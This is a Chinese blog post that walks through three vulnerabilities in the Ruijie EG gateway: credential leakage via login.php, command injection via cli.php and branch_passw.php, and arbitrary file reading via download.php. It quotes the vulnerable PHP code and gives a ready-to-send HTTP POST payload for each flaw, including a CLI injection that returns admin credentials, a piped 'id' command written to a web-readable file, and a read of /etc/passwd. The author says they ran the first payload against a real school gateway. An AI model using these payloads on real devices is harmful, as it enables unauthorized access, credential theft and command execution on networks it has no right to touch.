Loading... # 契机 对于`网络安全、渗透`这一块我涉及比较少,基本上是没有了解过。之所以能知道这个漏洞还是因为在我高中学校里使用的正是这款网关系统。于是我在一阵谷歌下找到了这个漏洞。 <div class="tip inlineBlock error"> 本章内容`只用于交流以及学习`,切勿用于任何`违法用途`,任何违法犯罪行为施行者`自行承担` </div> <div class="tip inlineBlock share"> 本文资料参考:[cooyf](https://www.cooyf.com/dmsj/ruijie_eg.html) </div> # 漏洞 根据参考资料所述,`锐捷EG易网关`含有三处漏洞,暂不清楚是否为全版本漏洞 1. 账号密码泄露,对应文件`login.php` 2. 远程命令执行,对应文件`cli.php、branch_passw.php` 3. 任意文件读取,对应文件`download.php` ## 账号密码泄露 经过实操,使用POST工具提交参数即可获取账号密码,没有什么难度。 以下为login.php部分代码 ```php if ($username == FALSE || $password == FALSE) { $data["status"] = 5; $data["msg"] = "username or password can't empty"; json_echo($data); exit(); } $res = execCli("exec", "webmaster $username $password"); if ($res["status"] != 1) { json_echo($res); exit(); } ``` 可以看到第一个if中,判断`用户名`以及`密码`的变量其中一个为空的时候就会输出`username or password can't empty` 然后我们接着看`execCli`,如下 ```php function execCli($mode = "exec", $command = "", $answer = "") { $data = []; if ($command == "" || $command == false) { $data["staus"] = 2; $dara["msg"] = "no command"; return $data; } if(!function_exists(function:'php_exec_cli')) { //动态加载cli通信模块 if(!@dl(extension_filename:'client.so')){ $data["status"] = 3; $data["msg"] = "can't load client.so"; return $data; } } if(defined(constant_name:'DEBUG') && DEBUG) { $t1 = microtime(as_float:true); } $data["data"] = php_exec_cli($command, $mode, $answer); $data["status"] = 1; if(defined(constant_name:'DEBUG') && DEBUG) { $t2 = microtime(as_float:true); $data["executeTime"] = ($t2 - $t1)*1000; } return $data; } ``` 根据参考资料(主要是水平不够,看不懂咳咳)可知CLI指令未做过滤,可控,可进行拼接操作,并且最终会return数据 ### 构造payload达成目的 ```php POST /login.php HTTP/1.1 ... username=admin&password=admin?show webmaster user ```   这是当时`实操效果图`,可以说是能动手,但是渗透方面的术语以及知识点学习的还是少了,得慢慢学习了 <div class="tip inlineBlock warning"> 下面的内容由于没有合适的环境无法复现,所以并没有实操,有条件的小伙伴可以尝试 </div> ## 远程命令执行 ### cli.php文件执行 `cli.php`在开头还包含了`core.controller.php` ```php include_once(AROOT . 'mvc' . DS . 'controller' . DS . 'core.controller.php'); ``` 在此文件下进行了登录判断,所以这个漏洞`需要登录`才能复现(参考资料原话) `cli.php`漏洞代码如下 ```php public function shellAction() { $command = p("command"); if ($command == false) { $data["status"] = 2; $data["msg"] = "no command"; json_echo($data); exit(); } $content = []; exec(EscapeShellCmd($command), $content); $data = array("status" => true, "data" => $content); json_echo($data); } ``` 还是挺显而易见的,post就直接出来了.... #### 构造payload达成目的 ```php POST /cli.php?a=shell HTTP/1.1 ... Cookie: RUIJIEID=xxx; user=admin command=id ``` #### branch_passw.php 同样的,此漏洞也需要登录才能复现 branch_passw.php漏洞部分代码: ```php public function setAction() { $pass = p("pass"); if ($pass == FALSE) { json_echo(false); return; } $command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass; evpnShell($command); } ``` 我们看一下`evpnShell` ```php function evpnShell($shell) { $content = []; $cli = exec($shell, &output:$content, &result_code:$ret); if($ret != 0) { json_echo(info:FALSE); return; } $res = execCli(mode:"exec",$cli); if($res["status"] != 1) { json_echo(info:FALSE); return; } if(isset($res["data"][0]) && strpos($res["data"][0], needle:"failed")) { json_echo(info:FALSE); return; } json_echo(info:true); } ``` 根据参考资料可知$pass变量无过滤可控且无回显,可用`|`拼接,并将结果重定向至上级目录下进行查看(我懒,我不会) #### 构造payload达成目的 ```php POST /itbox_pi/branch_passw.php?a=set HTTP/1.1 ... Cookie: RUIJIEID=77rd2htirat3c6034m9pqer4b3 pass=|id > ../test123xx.txt ``` <div class="tip inlineBlock warning"> 请求过去之后访问[http://xxx/test123xx.txt](http://xxx/test123xx.txt) 可查看执行结果 </div> ## 任意文件读取 同样也需要登录后才能复现 `download.php`漏洞代码部分为: ```php public function read_txtAction() { $filename = v("file"); if (!file_exists($filename)) { $data["status"] = 2; $data["msg"] = $filename . "不存在"; json_echo($data); exit(); } else { $fileContent = file_get_contents($filename); $data = array("status" => true, "data" => $fileContent); json_echo($data); } } ``` ### 构造payload达成目的 ```php POST /download.php?a=read_txt HTTP/1.1 ... Cookie: RUIJIEID=xxx file=/etc/passwd ``` Last modification:August 18, 2022 © Allow specification reprint Support Appreciate the author AliPayWeChat Like 15 如果觉得我的文章对你有用,请随意赞赏